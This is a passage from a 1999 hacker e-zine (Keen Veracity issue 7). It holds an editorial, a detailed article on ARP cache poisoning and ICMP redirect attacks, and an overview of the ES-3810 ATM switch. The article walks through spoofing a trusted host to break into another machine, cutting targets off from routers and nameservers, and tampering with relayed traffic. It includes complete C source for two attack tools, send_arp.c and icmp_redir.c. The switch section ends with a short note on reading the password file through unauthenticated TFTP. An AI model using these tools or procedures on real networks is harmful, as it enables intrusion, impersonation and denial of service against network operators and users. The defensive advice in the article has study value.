Hackers Handbook - Millenium Edition/Hackers Handbook.iso/library/hack99/kv7.txt

Text File | 1999-04-28 | 90.2 KB | 2,420 lines

-----------------------------------------------------------------------------
                          K E E N  V E R A C I T Y
               L E G I O N S  O F  T H E  U N D E R G R O U N D
                             I S S U E  # [7]
-----------------------------------------------------------------------------

                              --[CONTENTS]--

(1/8)--[Introduction]---------------------------------------[Digital Ebola]
(2/8)--[Redir games with ARP and ICMP]-------------------------------[yuri]
(3/8)--[FUN WITH THE ES-3810 AN ATM REALITY]--------------------[optiklenz]
(4/8)--[Ip Aliasing]-----------------------------------------------[guidob]
(5/8)--[Yet Another Newbies Guide to Linux Security]--------[Digital Ebola]
(6/8)--[UBE98 -- Unbreakable Encryption]----------------------[Joe Peschel]
(7/8)--[Windows 95 Protection]-------------------------------------[NtWak0]

---------------------------------------------------------------------------
[Introduction]                                              [Digital Ebola]
---------------------------------------------------------------------------

It's here. Better late then never. Keen Veracity 7 is out in full
force for your reading pleasure. It seems that recent events are going
to fuel this issue's editorial.

The point that I wish to get across is
not a kind one. The electronic skills you wield for work and play now
are showing their full capabilities. YOU are now a weapon. In a
alternate universe, a planet wages war, not with ships, jets, or
missiles, but with information and computers. Countries are now
invading each other via electronic boundaries. IT departments are now
platoons. No country's data is safe.

Sound far fetched? Is that really
an alternate universe or the one in which we now live? You be the judge.
Its a future that no one wishes to think of, or realise. No matter how
much we protest, it will come down to it. And this is not a new idea.
People have been toying around the idea for years. The digital age is
bringing this concept to life, and there is nothing to stop it.
Goverments will try to regulate the people, to show they are making an
effort, and to cover up their own tracks. For it is not the citizens
of the world that will make this happen, but the goverments themselves.
They are taking a hackers concept, and turning it against the world not
for the people, but for their gains. The media will help them, because
it will fuel their coffers as well. I'm sure that certain "sources in
cyberspace" will be glad to toss fuel on the fire and hype it all up.
So, now, I ask of you, readers and associates in the field, to think
things through before you take that next server. It's coming down to a
matter of ethics. And it looks like we, as researchers in the field,
are the only ones that care.

---------------------------------------------------------------------------
[ Playing redir games with ARP and ICMP]                   [yuri volobuev]
---------------------------------------------------------------------------
      [ -Intro- ]

There're bugs and there're features.  All too often the distinction between
the two is in the eye of the beholder.  I'd like to show how two legitimate
protocols, ARP and ICMP, while properly implemented, can be used to achieve
something which is, well, not desirable.

While passive attacks (sniffing) that take advantage of the root access to
LAN are extremely popular and every half-way decent root kit has some kind
of a net sniffer, active attacks are not nearly as widespread.  Yet, active
participation in the life of your LAN may bring lots of fun and joy.  You
knew that already, it's just that technical details had been somewhat
obscure.  So, let there be more light.

Possibilities outlined here include spoofing and DoS.  While other means of
spoofing, such as IP blind spoofing, are more general and powerful, in terms
of who can use them, they require quite a lot of (guess)work and may be hard
to implement.  ARP spoofing, on contrary, is very easy and robust.

While ARP spoofing is only possible on a local network, it may be a serious
concern as a way to extend an already existing security breach.  If somebody
can break into one machine on a subnet, ARP spoofing can be used to
compromise the rest of it.

                           [ -Background on ARP- ]

[well, originally i wrote few paragraphs outlining arp, but then i figured
that if you didn't know how it works already, you'll need to learn it from a
better source.  I recommend "TCP/IP Illustrated" by W.Richard Stevens.]

                           [ -What can be done- ]

Let's consider a hypothetical network

IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
hostname       cat        rat       dog       bat
hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (for short)

all connected by Ethernet in some simple way (i.e. no switches, no smart
hubs).  You're on cat, you have root and desire to break into dog.  You know
that dog trusts rat, so if you can successfully spoof rat, something can be
gained.

First thing that comes to mind (I think everybody was thinking about this at
some point) is "why don't I set my IP to the IP of that other machine
and..." That won't work, at least it won't work reliably.  If you tell
Ethernet driver on cat that it's IP is 10.0.0.2, it'll start answering ARP
requests to that IP.  But so will rat.  It's a pure race condition, and
there's no winner.  However, you can easily be the loser, because this
particular situation happens quite often when some box is misconfigured to
use somebody's else's IP, so many implmentations immedeately notice that and
loudly complain.  Many network traffic analyzers flag that, too.  Seeing a
syslog message saying something nasty (mentioning cat's Ethernet address) on
the LAN admin's console is not quite what you want.  And what you want you
won't necessarily get, that is getting anything remotely close to a working
connection.

This of course can be helped.  The attached program, send_arp.c, can be a
useful tool.  Just as its name says, it sends an ARP packet [ARP reply, to
be exact: since the protocol is stateless, reply will be happily accepted
even if no one ever asked for it.  Request would do just as well, though,
because of the ARP caching logic] to the net, and you can make this packet
to be what you want.  What you want is an ability to specify source and
target IP and hardware addresses.

First, you don't want your Ethernet driver to talk too much, and it's easy
to accomplish with ifconfig -arp.  Of course, it'll need ARP info anyway, so
you'll have to feed it to the kernel manually with arp(8).  The critical
part is convincing your neighbours.  In the case being described here, you
want dog to believe that rat's hardware address is that of cat (AA:AA), so
you send ARP reply with source IP 10.0.0.2, source hw address AA:AA, target
IP address 10.0.0.3 and target hardware address CC:CC.  Now, for all dog
knows, rat is at AA:AA.  Cache entry would expire, of course, so it needs to
be updated (request needs to be resent).  How often depends on the
particular system, but every 40 sec or so should be sufficient for most
cases.  Send it more often if you want, it won't hurt.

A complication here could come from an ARP caching implementation feature.
Some systems (e.g. Linux) would try to update their cache entries by sending
a unicast ARP request to the cached address (like your wife calling you just
to make sure you're there).  Such a request can screw things up, because it
could change victim's ARP entry that we just faked, so it must be prevented.
This can be accomplished by feeding the "wife" system with replies so that
it never has to ask for it.  Prevention is the best cure, as always.  This
time, a real packet from dog to rat should be sent, it's just that cat will
be sending it, not dog, but for rat there's no way to tell.  Again, doing it
about every 40 sec is usually OK.

So the procedure is simple.  Bring up an alias interface, e.g. eth0:1 (or
use your current one, whatever), with rat's IP and ARP on -- you need to set
up some cache entries first, and it won't work on non-arp interface.  Set up
a host route entry for dog through the right interface.  Set up a cache
entry for dog, turn off arp, and it's all set.

Now, inject the venom with send_arp (hitting both dog and rat) and for all
dog knows, you're on rat.  Just remember to keep sending those ARP packets
to dog and rat.

This attack only works on the local network, of course (in general, it can
reach as far as ARP packets can get, usually not too far because ARP packets
are almost never routed).  But an interesting extension here is taking this
outside by replacing dog's hardware address in the above plan with the
router's.  If it works (I'm not sure it always will, router's ARP
implementation may be tougher to fool, and since I don't want to try it on
real routers, I don't know, but there's no simple reason why not) you can
easily impersonate any machine on the local network to the rest of the
world.  So the target machine could really be anywhere, but the machine
you're impersonating must be on the same LAN.

                         [ -What else can be done- ]

Aside from spoofing, there's range of other things you can do with ARP.  The
sky is really the limit here.  DoS is the most obvious application.

Feeding victim wrong hardware address is a powerful way to make it mute.
You can prevent it from talking to any particular machine (and ARP cache
size usually allows for the whole network to fit in, so effectively you can
stop it from talking to everybody for some time).  Obvious target would be
the router.  Cache poisoning again should be two-way: both the victim system
and the system you don't want victim to talk to should be fed.  The simplest
case would be feeding a non-existant address.  It's not the most efficient,
though, as the system will quickly realize that it's talking to nobody and
send out an ARP request.  Of course, your next drop of poison will nullify
this, but you have to do it quite often.  A more efficient approach here is
feeding the victim with the hardware address of the wrong machine, which
itself is alive and well.  Again, it depends on a particular situation, but
very often what happens is that victim keeps sending out packets of various
types that arrive to the wrong destination, and destination system will
promptly send ICMP Xxx Unreachable messages back, thus emulating a
connection in some perverted way.  This pseudo-conection can easily postpone
cache expiry.  On Linux, for example, pseudo-connection raises cache expiry
from usual 1 min to about 10 min.  By that time, most or all TCP connections
are screw up.  Could be quite annoying.  This way, one ARP packet can screw
someone.

An interesting twist here is so-called "gratuitous ARP".  It's when the
source and target IPs in the ARP request are the same, and it usually
appears in a form of an Ethernet broadcast.  Some implementations recognize
it as a special case, that of a system sending out updated information about
itself to everybody, and cache that request.  This way one packet could
screw up the entire network.  It must be admitted, though, that gratuitous
ARP is not really defined as a part of ARP, so it's up to vendor to (not)
implement it, and it's becoming increasingly less popular.

ARP is a serious tool for professional practical jokes, too.  Just imagine
somebody setting up a relay, or tunnel, in a form of own machine that
convinced two neighbours to send their packets intended for each other to
relay's Ethernet.  If relay just forwards packets to their real
destinations, no one would even notice.  However, some simple data stream
modifications could have quite a spectacular effect on one's mental health.
A simple, CPU-inexpensive "filter" could be swapping random two bytes at
irregular long intervals.  If it hits the data portion, most of the
checksums won't change, i.e. data stream would seem to be intact, yet
strange and unexplicable things _will_ happen for no apparent reason.

                        [ -ICMP redirects- ]

An effect somewhat similar to ARP cache poisoning can be achieved in a
different way, again using a legitimate protocol feature, ICMP route
redirects.  Such a redirect is normally sent by the default router to the
system to indicate that there's a shorter route to some particular
destination.  Originally, both network and host route redirects were
proposed, but later net redirects were deprecated and now are usually
treated as host redirects.  Properly constructed ICMP packet that passes all
sanity checks (it must come from the default router for the destination it's
redirecting, new router should be on a directly connected network, etc.) it
causes a host-route entry be added to the system routing table.

The concept is just as secure as ICMP itself, i.e. (security)NULL.  Spoofing
routers IP address is simple, and attached icmp_redir.c does just that.
Host Requirements RFC states that system MUST follow ICMP redirects unless
it's a router.  And indeed all the systems I've tried happily accept it
(except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
2.0.31pre9, according to Alan Cox).

ICMP redirects present a rather potent DoS.  Unlike ARP cache entries, those
host routes won't expire with time.  And of course no access to local
network is required, attack can be launched from anywhere.  So if the target
system does accept ICMP redirects (and packets can actually reach it) that
system can be stopped from talking to any particular address on the net
(well, not all, but those that aren't on the same subnet with the target).
Nameservers would be an obvious target.

                       [ -What can be done about it- ]

ARP is low level protocol and as such is usually hidden from normal people.
LAN admins may be concerned with it at times, but if all goes well no one
pays attention.  One can always inspect contents of ARP cache using arp(8),
especially if there's some misterious network problem, but again it's not
the first thing that comes to mind.  Even W95 has arp command, and
remembering about it may be helpful in certain situations.  However, if
you're the target of the attack originating from another network via gateway
arp spoofing, there's no way to tell.  Similarly, host routing table could
be examined to spot ICMP-generated entries (in most versions of route(1)
they are marked with D letter in flags field).  Just be aware.

The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
However, if machines are interconnected in some more advanced way,
particularly using some smart hubs or switches, attack can be more visible
or even impossible (same goes for passive attacks).  So there's yet another
reason to invest in a good piece of network equipment.  A good deal of peace
of mind may just come with it.

In general, however, I personally find it rather sad that things like ICMP
redirects were made a default.  First, it's often not necessary because many
networks have very simple structure and there's never a need for anything in
addition to usual routing table.  Second, on more sophisticated networks
routing table can be just as well set manually, it's not really such a
dynamic thing, so why do it via ICMP?  And finally, it's dangerous, so I
would like to disable it on my systems, even though it'll make them less
compliant with RFC1122.  Alas, it may not be easy.  On Linux or any other OS
with sources available, I can at least hack the kernel and #define it out.
On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
with systune (I'm genuinely surprised to see it there, I really am).  Other
OSes can be configurable, too, I have no information.

With ARP, we basically face a situation when the problem of name resolution
is solved dynamically without a centralized server.  It doesn't have to be
this way.  When one wants to map hostname to an IP, nameserver is queried or
/etc/hosts is consulted, i.e. there's some static mapping established.  I
don't see why a similar thing can't be done with ARP.  Ethernet hardware
addresses don't change too often, and when they do change, it won't kill net
admin to change the corresponding map.  Ethernet can be forced in no-arp
mode, you just need to make sure your ARP cache has all the entries made as
permanent.  As a bonus, this will reduce network traffic somewhat.  Standard
procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
NIS, but if you use NIS, ARP is probably not your top security concern
anyway).  Old tradition of /etc/ethers can be brought back to life.  But
getting a kick-ass Ethernet switch still looks better to me (paying for it
does not, though).

And old wisdom still shine bright though time: don't use hostname-only based
auth.  Those who do shall have no mercy from net gods.

cheers,

yuri

P.S. On Firewalls

I anticipate that many of you, having read the section about ICMP, are
already flexing the fingers preparing to write a follow-up explaining that
all those ICMP packets can be filtered out on the firewall, thus it's not a
problem.  Please don't.  I'm well aware of the concept.  An if you feel you
absolutely have to, don't cc the list needlessly.

I have to note that many people use "i have firewall, and I like it,
therefore everyone else should get one or get lost" logic to argue that
certain security problems are less serious because they can be effectively
eliminated by putting a firewall between the protected network and
Internet.  While I fully agree that having firewall is very good for
security, I want to note that it's not always possible or effective.

Imagine an environment where all machines are directly connected to
Internet, you have to share subnet with people you don't know who have
vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a great
job of making it eeeeeeasy" all over the place (and sure, these people know
Unix, they've seen it in Jurassic Park... and that would be about it), and
the router to your subnet is controlled by a separate organization.  Welcome
to a standard academic environment, where people don't use firewalls.  In
fact, in some of those environments one would be useful to protect the
outside world from the people on the inside.  Still, people work there, and
use computers, too.  And that's where per-host security solutions are
necessary, it's a jungle where every host is for itself.  So please, next
time you think "firewall", remember, it's not for everyone.

CUT HERE
/* send_arp.c

This program sends out one ARP packet with source/target IP and Ethernet
hardware addresses suuplied by the user.  It compiles and works on Linux
and will probably work on any Unix that has SOCK_PACKET.

The idea behind this program is a proof of a concept, nothing more.  It
comes as is, no warranty.  However, you're allowed to use it under one
condition: you must use your brain simultaneously.  If this condition is
not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
[e-mail]

*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>


#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN];
        u_char src_hw_addr[ETH_HW_ADDR_LEN];
        u_short frame_type;
        u_short hw_type;
        u_short prot_type;
        u_char hw_addr_size;
        u_char prot_addr_size;
        u_short op;
        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
        u_char sndr_ip_addr[IP_ADDR_LEN];
        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
        u_char rcpt_ip_addr[IP_ADDR_LEN];
        u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
        perror("socket");
        exit(1);
        }

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
        perror("sendto");
        exit(1);
        }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
        if( (hostp = gethostbyname(str)))
                bcopy(hostp->h_addr,in_addr,hostp->h_length);
        else {
                fprintf(stderr,"send_arp: unknown host %s\n",str);
                exit(1);
                }
        }
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i<ETH_HW_ADDR_LEN;i++){
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf = val << 4;
        if( !(c = tolower(*str++))) die("Invalid hardware address");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else die("Invalid hardware address");

        *buf++ |= val;

        if(*str == ':')str++;
        }
}

CUT HERE

/* icmp_redir.c

This program sends out an ICMP host redirect packet with gateway IP supplied
by user.  It was written and tested under Linux 2.0.30 and could be rather
easily modified to work on most Unices.

The idea behind this program is a proof of a concept, nothing more.  It
comes as is, no warranty.  However, you're allowed to use it under one
condition: you must use your brain simultaneously.  If this condition is
not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
[e-mail]

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define IPVERSION       4

struct raw_pkt {
        struct iphdr ip; /* This is Linux-style iphdr.
                            Use BSD-style struct ip if you want */
        struct icmphdr icmp;
        struct iphdr encl_iphdr;
        char encl_ip_data[8];
};

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.  \
yuri volobuev'97\n\
usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
char on = 1;

if(argc != 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
        perror("socket");
        exit(1);
        }

sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
        sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
        sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
        perror("setsockopt: IP_HDRINCL");
        exit(1);
        }

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
        perror("sendto");
        exit(1);
        }
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
        if( (hostp = gethostbyname(str)))
                return *(unsigned long int*)(hostp->h_addr);
        else {
                fprintf(stderr,"unknown host %s\n",str);
                exit(1);
                }
        }
return addr;
}

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
        sum += *addr++;
        len -= 2;
        }
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

---------------------------------------------------------------------------
[FUN WITH THE ES-3810 AN ATM REALITY]                           [optiklenz]
---------------------------------------------------------------------------

NAME: Steve Stakton a.k.a. <optiklenz>
AFFILIATION: LOU- Legions Of the Underground
GOAL: TO KNOW BOTH WHAT EVERYONE ELSE KNOWS, AND DOESN'T KNOW
AGE: CAN YOU COUNT TO 24?
HEIGHT: WHY DONT I JUST DRAW YOU A FULL SKETCH COMPOSITE FOR YOUR WANTED
POSTERS?
WHERE: ON THE ROAD
DESTINATION: YET TO BE DECIDED
INTEREST: PHONE SYSTEMS (WHO DOESN'T USE THE TERM
COSMOS ON A DAY TO DAY BASIS), NETWORKS, ELECTRONICS, BEER,
RIGGING THE LOCAL NMS TO BREED WITH THE NEIGHBORS PDN. SOUTH PARK,
AND GIRLS WITH SLIGHT FACIAL HAIR
TURN-OFFS: PEOPLE WHO THINK THEY KNOW THINGS THEY DONT, AND GIRLS
WITH TO MUCH FACIAL HAIR.
HANGOUTS: VENICE BEACH, Narkotik Illusions, The Abyss & the Electronic
Source BBS
MUSIC GROUPs: Pink Floyd, and ICP, Rolling Stones (NO SECURITY!)
WEB: http://www.legions.org, http://www.t00ned.org/optik/
OS OF CHOICE: *BSD
OS'S THAT SUCK: CALDERA, MACOS, AND THAT ONE OS MADE BY THAT BILL GUY.



           "Get out and ride on, baby, ride on, baby
           Ride on, baby, ride on, baby
           I could pick your face out in an FBI file
           You may look pretty but I can't say the same
           for your mind" -Rolling Stones


On with the show...


First off there are some definitions, and Acronyms to be familiar with.

AMI (ATM Management Interface) - The user interface to switching control
    software.  AMI lets you monitor and change various operating
    configurations of switches and network module hardware and software,
    IP connectivity, and SNMP network management

Bandwidth- usually identifies the capacity of data that can be sent
           through a given circuit; may be user-specified in a PVC.

CBR (Constant Bit Rate)- A type of traffic that requires a continuous,
     specific amount of bandwidth over the ATM network
     (e.g., digital information such as video and digitized voice)

ANSI (American National Standards Institute)- A private organization that
     coordinates the setting and approval of some U.S standards. It also
     represents the U.S ISO

BIP (Bit Interleaved Parity)- An error detection technique in which
    character bit patterns are forced into parity, so that the total
    number of one bits is always odd or even.

DSR (Data Set Ready)- an RS-232 modem interface control signal
    (sent from the modem to the DTE on pin 6) which indicates that the
     modem is connected to the telephone circuit.

DTE (Data Terminal Equipment)- generally user devices, such as terminals
     and computers that connect to data circuit terminating equipment.
     They either generate or capture data sent by the network

ATDM (Asynchronous Time Division Multiplexing)- A method of sending
     information that resembles normal TDM, except that time slots are
     allocated as needed rather than prearranged to specific transmitters.

EM- The CellPath 300 extension module; paired with the system controller
    and supporting an optional PCMCIA card.

FDDI (Fiber distributed Data Interface)- High-speed data network that uses
     fiber-optic as the physical medium

EPROM- Erasable Programmable Read Only Memory.

CLP (Cell Loss Priority)- the last bit of byte four in an ATM cell header;
    indicates the eligibility of the cell for discard by the network under
    congested conditions.


[Introductory to the Management Station
------------------*

The ES-3810 is a switching architecture; it provides one with the ability
to work with multiple switched Ethernet ports along with high performance
ATM server and backbone connections to work with powerful network managing.

The management console for the ES-3810 uses a menu based interface that
utilizes A VT-100  terminal or VT-100 emulator like ProComm or PC Plus.The
serial interface   of the ES-3810 connects directly to either the DTE
interface of the ASCII terminal or a serial port of the PC or workstation
running terminal emulation.

Note: If the NMM's SNMP-based management or IGMP support is going to be
      used, a console connection is required the first time the NMM is
      brought online since an IP address, subnet mask and possibly a
      gateway must be defined.


[System Specs
------------------*

Aggregate Throughput      | 720,000 pps (packets per second)
Latency                   | 61 ~s per 64-bp (byte packets)
Filter/Forward Speed      | 14,881pps
Addresses/Port            | 4 [workgroup]; 8,192 [segment]
Buffering/Port            | 256kb
Media                     | UTP


 Print of settings an ES-3810

    ____________________________________________________________________________
   |                                                                            |
   | ES-3810 Interface Configuration                                            |
   |____________________________________________________________________________|
   |                                     |                                      |
   |  Type:                   SEC-10b    | Full Duplex:                Disabled |
   |  MAU:                    10BaseT    | Loopback:                   Disabled |
   |  Number:                 0          | Mode:                       Workgroup|
   |_____________________________________|______________________________________|
   |Media Configuration:  Auto-Negotiation In Process                           |
   |____________________________________________________________________________|
   |                                     |                                      |
   |  Link Detected:          No         | Forced Transmits:            Disabled|
   |  Link Polarity:          Correct    | VLAN Extension:                 n/a  |
   |                                     | Multicast Filtering:            n/a  |
   |_____________________________________|______________________________________|
   |                                     | Transmitter:                 Enabled |
   |  Receiver:               Enabled    | Transmit Buffer:             Enabled |
   |  Receive Buffer:         Enabled    |                                      |
   |_____________________________________|______________________________________|
   |                                     |                                      |
   |  Sniff Segment:          Disabled   | Transmit Sniffed Packets:    Disabled|
   |  Blocking:               Disabled   | Transmit Blocked Packets:    Disabled|
   |  Receive Errors:         Disabled   | Transmit Flagged Packets:    Disabled|
   |  Multicast Promiscuous:  Disabled   | Multicast Hash Upload:       Disabled|
   |  Individual Promiscuous: Disabled   |                                      |
   |_____________________________________|______________________________________|
   |lou%: ef cfg; do 6fde8000                                                   |


[VLAN Assignments
------------------------*

VLANs are OSI Layer 2 [data link] multicast domains.  VLAN membership is
not necessarily tied to a physical proximity.  The ES-3810 supports three
criteria: MAC address based assignment to a VLAN, IP Multicast Group based
assignment, and port base assignment.

[MAC Address based and Port based VLANs
---------------------------------------*

MAC address based VLAN assignments supersedes port based VLAN assignment.
By adding an ATM module you can extend any VLAN into ATM by assigning a LEC
(Lan Emulation Client) instance to the VLAN.  A VLAN extended into ATM must
be named with the same NAME and CASE as the ELAN for example, an ELAN called
"Lab" exists and you want the station on ES-3810 port 16 to join it.  On the
#s-3810 you must create a VLAN called "Lab" (case sensitive) and assign port
16 to it.  when asked to "configure a LEC" say yes.  The ES-3810 will join
(in proxy) the ELAN called "Lab" and allows the station port 16 communication
rights.


[IGMP Based VLANs
---------------------------------------*
Some TCP/IP applications use IP multicasts to deliver data to many stations
at once.  How ever multicasting can cause problems because stations that
are not interested in receiving multicast data to see it anyway. This
causes Ethernet segment congestion and unnecessary interrupts on
workstations.    Filtering these multicasts via IGMP can reduce
congestion and keep the network moving smoothly.

IGMP is designed to add further granularity within a VLAN. If a station
from two separate VLANS join the same IP multicast group; the IP multicast
stream has to be   sourced twice.  The IP client of the ES-3810 is
reachable from the first configured  VLAN, independent of that VLANs name.
Since, by default the first VLAN is called "default"

[Routerless Network
------------------------*

A routerless network is one in which the ES-3810 switches Ethernet
attached host to ATM  where high speed servers are found. Typically one or
several of the following apply

* Network has no VLAN-to-VLAN traffic requirement
* Primary NOS is client/server based
* Security is a MAJOR concern (trust me on this one)
* Servers are on ATM for maximum performance

Any network matching one or more of the above scenarios would benefit from
a routerless network because clients from different VLANs can access the
same server but not other VLANs

[Centralized Routing Network
----------------------------*

A centralized routing network is one in which the ES-3810 switches Ethernet
attached host to ATM where high-speed servers and router interfaces are found.
Typically the ES-3810 can be utilized in a network that meets one or more of
the following criteria


* Maintenance of relatively flat network
* Some VLAN to VLAN connectivity
* Some VLAN to VLAN packet level filtering/firewalling
* Traffic is 80% local and 20% routed
* Network could collapse into fewer subnets by switching to ATM


[Exploiting TFTP/ES-3810
------------------------*

Issuing the command line rs  :/cd usr do _filter area_ off will disable
POST recognition by other users.  Another thing that can be done is
gaining remote access this can only happen if TFTP is binded to the system,
and on the same subnet as the ES-3810 system.(which it should be by
default if utilized). Since there is no password authentication you can
use tftp to access the systems password file. Although you have read
access to the password file other flags, and restricted privileges keep
you from deleting any critical data. Logs maybe? =] ..More will be written
on ES-3810 security  features/insecurities when time permits.

To fix this disable TFTP by issuing the following command

lou% tftp dgram udp wait user /etc/tftpd tftpd -n

Sources Cited:

Fore Systems



-optiklenz <[e-mail]>

                       -D A T A   D E S I R E S  T O  B E  F R E E-

-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGiBDR6E3wRBADHm2aiODOCowgDqXdcFvooCTrQe6tDPqznXChCO1p0t12hhQZe
0C+/xBorkJXlqOaDadmUQVZP3Kij97SOTWU1AS1SPSTzF6VAylHalGz9iUHjxa7g
SSAVrLUMngWG7hxnz7lBHFIQ8iQPjWvK5qhEQ9vcBF9ped9StPRsZlljIwCg/02Z
XXrVaJUtWAxUaAARUdPt0FsEAKyhGuQA1HgGWM/GQxpvBvmDqHkNGxM9YyrF1Dg1
PWAoNuG8GdJazj18c2AODp68NwPH0dUYTxKc4ejR//OcOfl1HRfE0thJEDpqkSyQ
2iobKGkYdmug666pe0Xr3wkgBE+rnzC3RLlUdnRAu25MuEqlc6yRWAT0YH/Pl9IB
eDRGA/4uAuFiEiyfd3Djhi7Wwh8/qiG7SChW0arEXq3RqHQqd3EaVR1FgNzCtvxg
kK2mY07XeSX2fjlWo4ynrBdl5QXbOn9X+GzDcw1z9FBVQHaY0EJMoE0fb53bTyCG
0bdCMTid1DUKhJeekW6cPZvRQlu5IjH/+FVT9S38UsAMMwwrCrQlU3RldmUgU3Rh
a3RvbiA8b3B0aWtsZW56QGxlZ2lvbnMub3JnPokASwQQEQIACwUCNHoTfAQLAwEC
AAoJEGgSVovfJxzQFfcAn0WybtLnFw9jf9agk7xUaikjEjLkAKCYfA1rx/SXP5Je
v5R0+ZVMqIGiibkCDQQ0ehN8EAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlL
OCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N
286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/
RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2O
u1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqV
DNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf+OCRz2nG+
